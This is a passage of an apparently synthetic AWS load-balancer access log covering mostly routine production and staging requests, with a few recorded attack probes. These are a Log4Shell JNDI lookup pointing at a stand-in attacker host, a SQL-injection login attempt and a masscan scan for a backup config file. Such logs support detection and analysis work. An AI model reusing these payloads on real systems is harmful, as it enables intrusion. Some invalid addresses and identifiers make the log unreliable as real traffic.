Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d446-3d61872cd54b458f8e5e63da" "prod-web-alb.example.com" "-" 5 2024-11-01T02:02:30.633586Z "forward" "-" "-" "10.0.211.78:443" "301" "-" "-" +https 2024-11-01T02:02:30.934699Z prod-api-alb 206.92.129.94:44631 10.0.90.155:443 0.086087 0.075496 0.048007 200 200 567 9482 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d446-ac1e3ebd8cdd423ca818fc44" "prod-api-alb.example.com" "-" 4 2024-11-01T02:02:30.934699Z "forward" "-" "-" "10.0.90.155:443" "200" "-" "-" +https 2024-11-01T02:02:31.628464Z prod-web-alb 232.137.176.254:43822 10.0.46.51:443 0.054144 0.251106 0.071599 200 200 633 2316 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d447-62852c2f7cf44b9cb2550121" "prod-web-alb.example.com" "-" 6 2024-11-01T02:02:31.628464Z "forward" "-" "-" "10.0.46.51:443" "200" "-" "-" +https 2024-11-01T02:02:31.768125Z staging-alb 193.27.228.139:58694 164.90.22.182:8080 0.139239 0.072576 0.100901 403 403 47 13543 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d447-2db34e46cf7f45ae9166738e" "-" "-" 0 2024-11-01T02:02:31.768125Z "forward" "-" "-" "164.90.22.182:8080" "403" "-" "-" +https 2024-11-01T02:02:32.393412Z prod-api-alb 186.123.221.217:44840 10.0.251.153:443 0.005283 0.258741 0.022569 302 302 381 4738 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d448-19c9516ec8894286a464ee9b" "prod-api-alb.example.com" "-" 5 2024-11-01T02:02:32.393412Z "forward" "-" "-" "10.0.251.153:443" "302" "-" "-" +http 2024-11-01T02:02:33.655848Z staging-alb 178.42.90.237:37318 136.41.47.15:443 0.035345 0.406066 0.037555 301 301 341 4372 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d449-c73a6035b8fd460990353cf7" "staging-alb.example.com" "-" 8 2024-11-01T02:02:33.655848Z "forward" "-" "-" "136.41.47.15:443" "301" "-" "-" +https 2024-11-01T02:02:35.047392Z prod-api-alb 148.162.92.40:49878 10.0.242.162:443 0.011991 0.240140 0.081507 200 200 81 13125 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d44b-e207a38e7fb44f80866ca2d1" "prod-api-alb.example.com" "-" 6 2024-11-01T02:02:35.047392Z "forward" "-" "-" "10.0.242.162:443" "200" "-" "-" +https 2024-11-01T02:02:36.565124Z prod-api-alb 14.82.10.154:50450 10.0.30.16:443 0.042970 0.377064 0.028793 200 200 485 9549 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d44c-635a61c979474d1d9ac279ba" "prod-api-alb.example.com" "-" 9 2024-11-01T02:02:36.565124Z "forward" "-" "-" "10.0.30.16:443" "200" "-" "-" +https 2024-11-01T02:02:37.920982Z prod-web-alb 223.182.88.146:15643 10.0.204.34:443 0.036853 0.322882 0.002180 404 404 202 10862 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d44d-56879edd46ee4603aa4dd01e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:02:37.920982Z "forward" "-" "-" "10.0.204.34:443" "404" "-" "-" +https 2024-11-01T02:02:39.898121Z staging-alb 113.23.51.49:38687 135.99.162.1:8080 0.070774 0.571701 0.144015 200 200 315 11470 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d44f-3830310d24184312a36c7d08" "staging-alb.example.com" "-" 8 2024-11-01T02:02:39.898121Z "forward" "-" "-" "135.99.162.1:8080" "200" "-" "-" +https 2024-11-01T02:02:40.882248Z prod-web-alb 221.252.61.105:31011 10.0.203.64:443 0.024302 0.293196 0.083013 301 301 295 6972 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d450-76d56adf559f43cc83096c6d" "prod-web-alb.example.com" "-" 4 2024-11-01T02:02:40.882248Z "forward" "-" "-" "10.0.203.64:443" "301" "-" "-" +http 2024-11-01T02:02:42.100106Z staging-alb 168.131.250.233:61160 71.102.16.114:443 0.091414 0.376823 0.069752 302 302 678 6344 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d452-0fedbe5fdd684335b9dae1e2" "staging-alb.example.com" "-" 10 2024-11-01T02:02:42.100106Z "forward" "-" "-" "71.102.16.114:443" "302" "-" "-" +https 2024-11-01T02:02:43.860730Z prod-api-alb 109.120.72.86:14381 10.0.86.89:443 0.022502 0.380931 0.066572 200 200 705 6387 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d453-55e0f0918b004933a9ce58c4" "-" "-" 2 2024-11-01T02:02:43.860730Z "forward" "-" "-" "10.0.86.89:443" "200" "-" "-" +https 2024-11-01T02:02:43.978634Z prod-web-alb 56.24.165.238:62828 10.0.162.247:443 0.079633 0.164518 0.032784 301 301 717 4300 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d453-80b8a95344c745e59ff7c932" "prod-web-alb.example.com" "-" 8 2024-11-01T02:02:43.978634Z "forward" "-" "-" "10.0.162.247:443" "301" "-" "-" +https 2024-11-01T02:02:45.963581Z prod-api-alb 185.228.70.16:64221 10.0.50.191:443 0.089458 0.273987 0.044794 302 302 582 13764 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d455-cdca99200fae4deba170f477" "prod-api-alb.example.com" "-" 5 2024-11-01T02:02:45.963581Z "forward" "-" "-" "10.0.50.191:443" "302" "-" "-" +https 2024-11-01T02:02:47.809212Z prod-web-alb 64.28.130.118:64701 10.0.83.8:443 0.053663 0.258827 0.015287 200 200 867 13649 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d457-2edc384db1a046d9936ae87a" "-" "-" 2 2024-11-01T02:02:47.809212Z "forward" "-" "-" "10.0.83.8:443" "200" "-" "-" +https 2024-11-01T02:02:48.228260Z prod-api-alb 183.163.112.99:30593 10.0.85.5:443 0.087451 0.314990 0.012270 200 200 833 12657 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d458-a004f0d830654436a2e12c98" "prod-api-alb.example.com" "-" 2 2024-11-01T02:02:48.228260Z "forward" "-" "-" "10.0.85.5:443" "200" "-" "-" +https 2024-11-01T02:02:48.579049Z staging-alb 246.138.196.215:63252 124.201.167.24:80 0.054396 0.155668 0.102525 200 200 500 3643 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d458-33da225e52bd4eef90efcef3" "staging-alb.example.com" "-" 6 2024-11-01T02:02:48.579049Z "forward" "-" "-" "124.201.167.24:80" "200" "-" "-" +http 2024-11-01T02:02:48.843222Z staging-alb 146.210.233.105:22820 255.224.35.198:80 0.041142 0.275672 0.010477 404 404 876 5958 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d458-348c84a1a4d242d7b7d7c9c8" "staging-alb.example.com" "-" 1 2024-11-01T02:02:48.843222Z "forward" "-" "-" "255.224.35.198:80" "404" "-" "-" +https 2024-11-01T02:02:49.831356Z prod-api-alb 128.33.179.219:20810 10.0.79.85:443 0.056379 0.277361 0.038475 301 301 598 3789 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d459-be910a9ed0d9448f96a58208" "prod-api-alb.example.com" "-" 8 2024-11-01T02:02:49.831356Z "forward" "-" "-" "10.0.79.85:443" "301" "-" "-" +https 2024-11-01T02:02:49.980981Z prod-web-alb 45.155.205.55:13132 10.0.166.156:443 0.048350 0.372687 0.038950 401 401 563 12707 "GET /config.php~ HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d459-b97281ff2aa34d6c8d84bd2d" "-" "-" 3 2024-11-01T02:02:49.980981Z "forward" "-" "-" "10.0.166.156:443" "401" "-" "-" +http 2024-11-01T02:02:51.550201Z staging-alb 202.40.61.224:60145 144.166.18.172:443 0.026458 0.495958 0.000430 302 302 861 2418 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d45b-c672327cdd1e421dba767813" "staging-alb.example.com" "-" 2 2024-11-01T02:02:51.550201Z "forward" "-" "-" "144.166.18.172:443" "302" "-" "-" +https 2024-11-01T02:02:52.962196Z prod-api-alb 87.235.249.17:36115 10.0.155.66:443 0.098139 0.075933 0.019188 200 200 41 1542 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d45c-8b617395dd4c4e8a934ba141" "prod-api-alb.example.com" "-" 3 2024-11-01T02:02:52.962196Z "forward" "-" "-" "10.0.155.66:443" "200" "-" "-" +https 2024-11-01T02:02:54.864407Z prod-api-alb 109.232.82.234:54712 10.0.14.92:443 0.023555 0.358457 0.074759 301 301 356 12961 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d45e-ac638b1521584749a4abbf77" "prod-api-alb.example.com" "-" 9 2024-11-01T02:02:54.864407Z "forward" "-" "-" "10.0.14.92:443" "301" "-" "-" +https 2024-11-01T02:02:55.477341Z prod-api-alb 133.246.121.52:58497 10.0.214.140:443 0.049047 0.466459 0.040064 200 200 653 2010 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d45f-5d82e9e628134d609f94ef2d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:02:55.477341Z "forward" "-" "-" "10.0.214.140:443" "200" "-" "-" +https 2024-11-01T02:02:55.608475Z prod-web-alb 9.98.33.23:21974 10.0.13.182:443 0.091435 0.147154 0.018012 200 200 837 12701 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d45f-6c4f19a04c74415fbdb61a69" "prod-web-alb.example.com" "-" 5 2024-11-01T02:02:55.608475Z "forward" "-" "-" "10.0.13.182:443" "200" "-" "-" +https 2024-11-01T02:02:57.087897Z prod-web-alb 42.55.25.214:57856 10.0.111.54:443 0.034764 0.490100 0.000116 200 200 773 7614 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d461-c57ea6ef1dba4d4397d76757" "prod-web-alb.example.com" "-" 7 2024-11-01T02:02:57.087897Z "forward" "-" "-" "10.0.111.54:443" "200" "-" "-" +http 2024-11-01T02:02:57.503033Z staging-alb 90.132.56.42:60330 0.236.43.237:443 0.071440 0.598416 0.031067 200 200 899 5903 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d461-85db5e2164fe4481b9b4ec00" "staging-alb.example.com" "-" 6 2024-11-01T02:02:57.503033Z "forward" "-" "-" "0.236.43.237:443" "200" "-" "-" +http 2024-11-01T02:02:58.555146Z staging-alb 105.35.114.33:34793 233.1.251.54:80 0.003149 0.409497 0.128298 200 200 971 4045 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d462-4ec7d1dcb3954351a8cfc34a" "staging-alb.example.com" "-" 0 2024-11-01T02:02:58.555146Z "forward" "-" "-" "233.1.251.54:80" "200" "-" "-" +https 2024-11-01T02:03:00.389387Z prod-api-alb 80.236.199.0:22475 10.0.115.249:443 0.042771 0.028009 0.098972 200 200 127 1134 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d464-d827bd24efa74487929deb40" "prod-api-alb.example.com" "-" 9 2024-11-01T02:03:00.389387Z "forward" "-" "-" "10.0.115.249:443" "200" "-" "-" +https 2024-11-01T02:03:00.682004Z staging-alb 38.38.176.232:22994 22.2.216.140:8080 0.006069 0.499002 0.007678 302 302 640 13993 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d464-f3fb8e8d015d4e118d0e9cba" "staging-alb.example.com" "-" 5 2024-11-01T02:03:00.682004Z "forward" "-" "-" "22.2.216.140:8080" "302" "-" "-" +https 2024-11-01T02:03:01.874255Z prod-web-alb 84.254.82.207:60681 10.0.135.159:443 0.022290 0.035940 0.095533 302 302 919 4452 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d465-c877f844cd3b4c66884c957d" "prod-web-alb.example.com" "-" 0 2024-11-01T02:03:01.874255Z "forward" "-" "-" "10.0.135.159:443" "302" "-" "-" +http 2024-11-01T02:03:03.214889Z staging-alb 193.27.228.135:25244 167.43.78.59:8080 0.070709 0.110407 0.136177 500 500 35 10739 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d467-1402e461c674453fa54a98b7" "-" "-" 4 2024-11-01T02:03:03.214889Z "forward" "-" "-" "167.43.78.59:8080" "500" "-" "-" +https 2024-11-01T02:03:03.494345Z prod-api-alb 163.236.19.126:39665 10.0.50.46:443 0.071808 0.304324 0.073326 200 200 31 8665 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d467-5a2ee850366e4e50a38eaf30" "prod-api-alb.example.com" "-" 9 2024-11-01T02:03:03.494345Z "forward" "-" "-" "10.0.50.46:443" "200" "-" "-" +https 2024-11-01T02:03:05.017325Z prod-api-alb 1.58.229.111:28468 10.0.179.245:443 0.020681 0.186982 0.019567 302 302 139 9863 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d469-b5a52b9031694e74828f8f4b" "prod-api-alb.example.com" "-" 4 2024-11-01T02:03:05.017325Z "forward" "-" "-" "10.0.179.245:443" "302" "-" "-" +https 2024-11-01T02:03:06.236749Z prod-web-alb 51.169.35.227:60256 10.0.169.142:443 0.012535 0.163971 0.019114 200 200 691 6917 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d46a-a43658bf122146abb7801e35" "prod-web-alb.example.com" "-" 1 2024-11-01T02:03:06.236749Z "forward" "-" "-" "10.0.169.142:443" "200" "-" "-" +https 2024-11-01T02:03:07.496369Z prod-web-alb 151.166.87.241:20594 10.0.234.185:443 0.003048 0.382805 0.085169 301 301 970 6516 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d46b-2938504de5e942e0a41a418b" "prod-web-alb.example.com" "-" 7 2024-11-01T02:03:07.496369Z "forward" "-" "-" "10.0.234.185:443" "301" "-" "-" +https 2024-11-01T02:03:08.998989Z prod-web-alb 106.14.169.247:22542 10.0.165.244:443 0.049894 0.346018 0.095177 200 200 587 6738 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d46c-1fb4dc0a5e9c46498e3e6948" "prod-web-alb.example.com" "-" 5 2024-11-01T02:03:08.998989Z "forward" "-" "-" "10.0.165.244:443" "200" "-" "-" +https 2024-11-01T02:03:09.994358Z staging-alb 14.205.51.203:30957 233.213.33.156:443 0.107048 0.185666 0.075557 200 200 48 405 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d46d-855e7b67d04048ac8131c15d" "staging-alb.example.com" "-" 3 2024-11-01T02:03:09.994358Z "forward" "-" "-" "233.213.33.156:443" "200" "-" "-" +https 2024-11-01T02:03:11.789879Z prod-api-alb 223.61.67.47:37023 10.0.41.58:443 0.016938 0.091892 0.043637 302 302 974 7811 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d46f-2c3cb8bf3d424e81891c6798" "prod-api-alb.example.com" "-" 9 2024-11-01T02:03:11.789879Z "forward" "-" "-" "10.0.41.58:443" "302" "-" "-" +https 2024-11-01T02:03:13.545186Z prod-api-alb 252.101.122.154:57217 10.0.211.56:443 0.051102 0.308343 0.058144 200 200 62 8656 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d471-e42907268f414e5da2cd86c4" "prod-api-alb.example.com" "-" 7 2024-11-01T02:03:13.545186Z "forward" "-" "-" "10.0.211.56:443" "200" "-" "-" +https 2024-11-01T02:03:14.295912Z prod-web-alb 50.246.42.228:12374 10.0.127.240:443 0.021955 0.079405 0.051109 302 302 639 12966 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d472-c7780c4585e34e4aa2349e47" "prod-web-alb.example.com" "-" 6 2024-11-01T02:03:14.295912Z "forward" "-" "-" "10.0.127.240:443" "302" "-" "-" +https 2024-11-01T02:03:14.888132Z prod-web-alb 52.110.250.21:16215 10.0.171.237:443 0.000545 0.244454 0.036629 200 200 794 10777 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d472-a43674668c364754ab7d6a56" "prod-web-alb.example.com" "-" 6 2024-11-01T02:03:14.888132Z "forward" "-" "-" "10.0.171.237:443" "200" "-" "-" +http 2024-11-01T02:03:15.210239Z staging-alb 101.53.135.76:21513 192.249.153.37:80 0.044768 0.679666 0.084655 200 200 506 7890 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d473-5e192abe8c7b45eaae1f2bf6" "staging-alb.example.com" "-" 2 2024-11-01T02:03:15.210239Z "forward" "-" "-" "192.249.153.37:80" "200" "-" "-" +https 2024-11-01T02:03:15.978171Z staging-alb 200.35.180.0:19302 71.186.150.126:443 0.014214 0.212595 0.033647 404 404 65 10754 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d473-df9eb1966a7643879cfeeda2" "staging-alb.example.com" "-" 0 2024-11-01T02:03:15.978171Z "forward" "-" "-" "71.186.150.126:443" "404" "-" "-" +https 2024-11-01T02:03:17.805877Z prod-api-alb 227.130.237.71:13735 10.0.16.154:443 0.087801 0.468183 0.089874 302 302 137 923 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d475-9ad5886b7ff345babc2594b3" "prod-api-alb.example.com" "-" 6 2024-11-01T02:03:17.805877Z "forward" "-" "-" "10.0.16.154:443" "302" "-" "-" +http 2024-11-01T02:03:18.925316Z staging-alb 215.190.180.58:45055 221.18.64.198:8080 0.057642 0.085384 0.058565 200 200 315 9705 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d476-4e0970125ddb4f75a62ea7e6" "staging-alb.example.com" "-" 9 2024-11-01T02:03:18.925316Z "forward" "-" "-" "221.18.64.198:8080" "200" "-" "-" +https 2024-11-01T02:03:20.456782Z staging-alb 198.112.2.210:46390 219.152.178.99:8080 0.130030 0.567747 0.002433 404 404 469 8799 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d478-709a71e8b7b041718896942e" "staging-alb.example.com" "-" 10 2024-11-01T02:03:20.456782Z "forward" "-" "-" "219.152.178.99:8080" "404" "-" "-" +https 